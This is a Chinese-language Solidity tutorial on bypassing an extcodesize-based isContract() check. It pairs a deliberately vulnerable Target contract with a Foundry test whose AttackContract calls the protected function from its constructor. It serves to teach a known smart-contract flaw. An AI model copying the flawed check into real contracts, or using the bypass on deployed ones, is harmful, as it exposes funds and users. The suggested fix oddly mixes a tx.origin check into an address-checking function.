重点:当一个合约正在部署时,它的代码尚未完全存储在链上。在constructor构造函数初始化期间size是0。攻击者可利用这一特性绕过检测机制并发起攻击。
1.1 漏洞分析
- 通过extcodesize来判断是否为合约,,由于合约在constructor构造函数初始化期间其代码尚未写入区块链size是0,攻击者可利用这一特性绕过检测机制并发起攻击。
- 下面的代码可以看出 constructor构造函数初始化期间size是0,合约构造完成后size=335
1.2 漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
/*
名称:绕过 isContract() 验证
描述:
攻击者只需要在智能合约的构造函数中编写代码,
即可绕过对其是否为智能合约的检测机制。
参考:
https://www.infuy.com/blog/bypass-contract-size-limitations-in-solidity-risks-and-prevention/
*/
contract Target {
// 判断account是否为合约地址
function isContract(address account) public view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
1.3 攻击分析
- 在攻击合约的构造函数中调用protected()函数,因为这期间size为0
- 结果输出
- 解决方法
代码改成
function isContract(address account) public view returns (bool) {
require(tx.origin == msg.sender);
return account.code.length > 0;
}
1.4 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "./Bypasscontract.sol";
contract ContractTest is Test {
Target BypasscontractContract;
AttackContract attackContract;
function setUp() public {
BypasscontractContract = new Target();
}
function testBypasscontract() public {
attackContract = new AttackContract(address(BypasscontractContract));
attackContract.getSize();
}
}
contract AttackContract {
constructor(address targetAddress) {
uint256 size;
address addr = address(this);
assembly {
size := extcodesize(addr) // 获取地址的代码大小
}
console.log("11-AttackContract size:", size);
bool iscontract = Target(targetAddress).isContract(address(this));
console.log("AttackContract isContract:", iscontract);
bool isSuccess;
isSuccess = Target(targetAddress).pwned();
console.log("pwned isSuccess:", isSuccess);
Target(targetAddress).protected();
console.log("after protected()...");
isSuccess = Target(targetAddress).pwned();
console.log("pwned isSuccess:", isSuccess);
}
function getSize() public view {
uint256 size;
address addr = address(this);
assembly {
size := extcodesize(addr) // 获取地址的代码大小
}
console.log("22-AttackContract size:", size);
}
}
1.5 知识点
extcodesize(a)
:获取地址 a 的代码大小